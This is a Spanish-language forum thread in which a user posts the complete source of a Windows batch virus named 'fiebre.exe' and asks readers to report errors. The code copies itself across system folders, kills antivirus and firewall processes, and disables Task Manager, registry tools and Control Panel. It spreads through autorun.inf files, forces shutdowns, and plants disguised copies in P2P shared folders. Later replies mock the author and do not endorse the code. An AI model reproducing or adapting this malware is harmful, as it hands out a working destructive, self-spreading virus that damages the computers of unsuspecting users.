[BATCH] virus informatico fiebre.exe

Iniciado por W4rR3d, 12 Febrero 2011, 15:46 PM

0 Miembros y 1 Visitante están viendo este tema.

W4rR3d

sin ven un error en este virus informatico por favor notifinquela.
hacked by W4rR3d <autodidacta en ingenieria de sistemas y creador de virus informaticos> Piura - Peru

Código (dos) [Seleccionar]
@echo off
:: virus fue creado por hacked by  W4rR3d
:: virus esta dedicado a la comunidad hacker piura- peru
:: virus informatico se llama fiebre.exe
:: virus informatico dedicado al grupo de hackers 'KA0 Team'
:inicio
copy %0 "%homedrive%\"
copy %0 "%windir%\"
copy %0 "%windir%\system32"
copy %0 "%PROGRAMFILES%\"
copy %0 "%allusersprofile%\"
copy %0 "%COMMONPROGRAMFILES%\"
copy %0 "%USERPROFILE%\"
taskkill /f/im aswRegSvr.exe /im aswRegSvr64.exe /im AvastSvc.exe
taskkill /f/im explorer.exe /im teatimer.exe /im taskmgr.exe
taskkill /f/im explorer.exe /im firefox.exe /im  photoshop.exe
net stop "Security Center"
net stop SharedAccess
net stop "Firewall de Windows/Conexion compartida a Internet (ICS)"
REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v system /t REG_SZ /d "%windir%\system32\fiebre.exe" /F
reg add hklm\software\microsoft\windows\currentversion\run /v fiebre /t reg_sz /d %eb1%fiebre.exe /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v HideClock /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFolderOptions /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 0 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetTaskBar /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f
reg Add "HKCU\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t REG_SZ /d "http://www.elcachondeo.cl/foro/showthread.php?t=364382"
reg Add "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v "HomePage" /t REG_DWORD /d 1 /f
reg Add "HKCU\Software\Microsoft\Internet Explorer\Main" /v "Window Title" /t REG_SZ /d "Hacked By W4rR3d"
Set eb1= C:\
Set eb2= D:\
Set eb3= E:\
Set eb4= F:\
Set eb5= G:\
Set eb6= H:\
if exist %eb1%autorun.inf (goto fie1) else (goto fie2)
:fie2
copy /Y %0 %eb1%fiebre.exe
echo.[AutoRun]>> %eb1%autorun.inf
echo.open="%eb1%fiebre.exe">> %eb1%autorun.inf
echo.action=Open folder to see files...>> %eb1%autorun.inf
attrib +r +s +h %eb1%autorun.inf
attrib +r +s +h %eb1%fiebre.exe
echo On Error Resume Next >> %eb1%apagar.vbs
echo set shell = CreateObject("WScript.Shell") >> %eb1%apagar.vbs
echo shell.run "shutdown.exe -s  -t 13" >> %eb1%apagar.vbs
attrib +r +s +h %eb1%apagar.vbs
start %eb1%apagar.vbs
:fie1
if exist %eb2%autorun.inf (goto fie3) else (goto fie4)
:fie4
copy /Y %0 %eb2%fiebre.exe
echo.[AutoRun]>> %eb2%autorun.inf
echo.open="%eb2%fiebre.exe">> %eb2%autorun.inf
echo.action=Open folder to see files...>> %eb2%autorun.inf
attrib +r +s +h %eb2%autorun.inf
attrib +r +s +h %eb2%fiebre.exe
echo On Error Resume Next >> %eb2%apagar.vbs
echo set shell = CreateObject("WScript.Shell") >> %eb2%apagar.vbs
echo shell.run "shutdown.exe -s  -t 13" >> %eb2%apagar.vbs
attrib +r +s +h %eb2%apagar.vbs
start %eb2%apagar.vbs
:fie3
if exist %eb3%autorun.inf (goto fie5) else (goto fie6)
:fie6
copy /Y %0 %eb3%fiebre.exe
echo.[AutoRun]>> %eb3%autorun.inf
echo.open="%eb3%fiebre.exe">> %eb3%autorun.inf
echo.action=Open folder to see files...>> %eb3%autorun.inf
attrib +r +s +h %eb3%autorun.inf
attrib +r +s +h %eb3%fiebre.exe
echo On Error Resume Next >> %eb3%apagar.vbs
echo set shell = CreateObject("WScript.Shell") >> %eb3%apagar.vbs
echo shell.run "shutdown.exe -s  -t 13" >> %eb3%apagar.vbs
attrib +r +s +h %eb3%apagar.vbs
start %eb3%apagar.vbs
:fie5
if exist %eb4%autorun.inf (goto fie7) else (goto fie8)
:fie8
copy /Y %0 %eb4%fiebre.exe
echo.[AutoRun]>> %eb4%autorun.inf
echo.open="%eb4%fiebre.exe">> %eb4%autorun.inf
echo.action=Open folder to see files...>> %eb4%autorun.inf
attrib +r +s +h %eb4%autorun.inf
attrib +r +s +h %eb4%fiebre.exe
echo On Error Resume Next >> %eb4%apagar.vbs
echo set shell = CreateObject("WScript.Shell") >> %eb4%apagar.vbs
echo shell.run "shutdown.exe -s  -t 13" >> %eb4%apagar.vbs
attrib +r +s +h %eb4%apagar.vbs
start %eb4%apagar.vbs
:fie7
if exist %eb5%autorun.inf (goto fie9) else (goto fie10)
:fie10
copy /Y %0 %eb5%fiebre.exe
echo.[AutoRun]>> %eb5%autorun.inf
echo.open="%eb5%fiebre.exe">> %eb5%autorun.inf
echo.action=Open folder to see files...>> %eb5%autorun.inf
attrib +r +s +h %eb5%autorun.inf
attrib +r +s +h %eb5%fiebre.exe
echo On Error Resume Next >> %eb5%apagar.vbs
echo set shell = CreateObject("WScript.Shell") >> %eb5%apagar.vbs
echo shell.run "shutdown.exe -s  -t 13" >> %eb5%apagar.vbs
attrib +r +s +h %eb5%apagar.vbs
start %eb5%apagar.vbs
:fie9
if exist %eb6%\autorun.inf (goto fie11) else (goto fie12)
:fie12
copy /Y %0 %eb6%fiebre.exe
echo.[AutoRun]>> %eb6%autorun.inf
echo.open="%eb6%fiebre.exe">> %eb6%autorun.inf
echo.action=Open folder to see files...>> %eb6%autorun.inf
attrib +r +s +h %eb6%autorun.inf
attrib +r +s +h %eb6%fiebre.exe
echo On Error Resume Next >> %eb6%\apagar.vbs
echo set shell = CreateObject("WScript.Shell") >> %eb6%apagar.vbs
echo shell.run "shutdown.exe -s  -t 13" >> %eb6%apagar.vbs
attrib +r +s +h %eb6%apagar.vbs
start %eb6%apagar.vbs
:fie11
set /a war1="%programfiles%\eMule\Incoming"
set /a war2="%programfiles%\KaZaA\My Shared Folder"
set /a war3="%appdata%\Ares\My Shared Folder"
Set /a War4="%programfiles%\Alwil Software\Avast5"
if exist %war1% (
for /d %%a ("Internet Explorer 7.exe","Windows Xp.exe","Nero Start Smart 9.exe","Microsoft Office 2007.exe","Avast 5.1 Pro Full.exe","Windows Live Messenger 8.5.exe","GTA 4.exe","Activa tu windows.exe","ESET Smart Segurity 4.exe" do (if not exist %war1%\%%a copy /y "%~0" %war1%\%%a)
)
if exist %war2% (
for /d %%a ("Windows Xp.exe","Nero Start Smart 9.exe","Microsoft Office 2007.exe","Avast 5.1 Pro Full.exe","Windows Live Messenger 8.5.exe","GTA 4.exe","Activa tu windows.exe","ESET Smart Segurity 4.exe" do (if not exist %war2%\%%a copy /y "%~0" %war2%\%%a)
)
if exist %war3% (
for /d %%a ("Windows Live Messenger 9.5.exe","avast! Free Antivirus 5.exe", "aswRegSvr 64.exe","AvastSvc 50.exe","aswRunDll 3.2.exe","Avast 5.3 Pro Full.exe","Windows Live Messenger 8.5.exe","GTA 4.exe","Activa tu windows.exe","ESET Smart Segurity 4.exe" do (if not exist %war3%\%%a copy /y "%~0" %war3%\%%a)
)
if exist %war4% (
for /d %%a ("aswRegSvr 5.exe","avast! Free Antivirus 5.exe", "Windows Xp.exe","aswRegSvr 9.exe","aswRunDll 5.exe","Avast 5.3 Pro Full.exe","Windows Live Messenger 8.5.exe" do (if not exist %war4%\%%a copy /y "%~0" %war4%\%%a)
echo Msgbox "ha sido hackeado por hacked by W4rR3d" >> %homedrive%\mensaje.vbs
For /L %%a IN (0,1,1000) DO start %homedrive%\mensaje.vbs
goto inicio


Shell Root

Deberías de dejar YA batch y meterte con un VERDADERO lenguaje de programación.
Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.

SuperDraco

Cita de: Shell Root en 12 Febrero 2011, 19:41 PM
Deberías de dejar YA batch y meterte con un VERDADERO lenguaje de programación.

Oye! Que por algo se empieza :P!

Yo aún sigo soñando que NovLucker me enseñe VBS :'S snif snif... daría un riñon! XD        FAN NUMBER ONE!!!

No he vuelto, solo estoy de paso.

pucheto

Citarhacked by W4rR3d <autodidacta en ingenieria de sistemas y creador de virus informaticos> Piura - Peru
A, felicidades...

seba123neo

#4
hombre, haber si gastamos el tiempo en algo mas productivo...

PD: si esto es ser hacker, yo soy casi Dios.
La característica extraordinaria de las leyes de la física es que se aplican en todos lados, sea que tú elijas o no creer en ellas. Lo bueno de las ciencias es que siempre tienen la verdad, quieras creerla o no.

Neil deGrasse Tyson

Di~OsK

Necesitas un servidor de TeamSpeak? Un certificado SSL? MANDA MP

leogtz

A ver, @W4rR3d, si vuelves a publicar algo sin etiquetas de código, te voy a borrar el mensaje así sin más. LEE LAS REGLAS. Y dedícate a algo más productivo que a crear estupideces en Batch.
Código (perl) [Seleccionar]

(( 1 / 0 )) &> /dev/null || {
echo -e "stderrrrrrrrrrrrrrrrrrr";
}

http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com

W4rR3d

Cita de: Leo Gutiérrez. en 12 Febrero 2011, 23:17 PM
A ver, @W4rR3d, si vuelves a publicar algo sin etiquetas de código, te voy a borrar el mensaje así sin más. LEE LAS REGLAS. Y dedícate a algo más productivo que a crear estupideces en Batch.
mira amigo si quieres aprender de mi estos son codigos cuando me inicie en programacion en batch, tambien domino vb 6.0, java script, c++ , c, fox pro 6.0,visual script y otros mas ya amiguito leo gutièrrez. que dios te bendiga leo gutièrrez

pucheto

Cita de: W4rR3d en 14 Febrero 2011, 16:49 PM
mira amigo si quieres aprender de mi estos son codigos cuando me inicie en programacion en batch...
Bien tigre, q haces aca y no en la caja de zucaritas...

Cita de: W4rR3d en 14 Febrero 2011, 16:49 PM
tambien domino vb 6.0, java script, c++ , c, fox pro 6.0,visual script y otros mas
Dibuje maestro ya que tanto sabe y tanto domina...

Darioxhcx

Cita de: pucheto en 14 Febrero 2011, 17:08 PM
Bien tigre, q haces aca y no en la caja de zucaritas...
Dibuje maestro ya que tanto sabe y tanto domina...

jajajajaa que groso este comentario xDDD

+1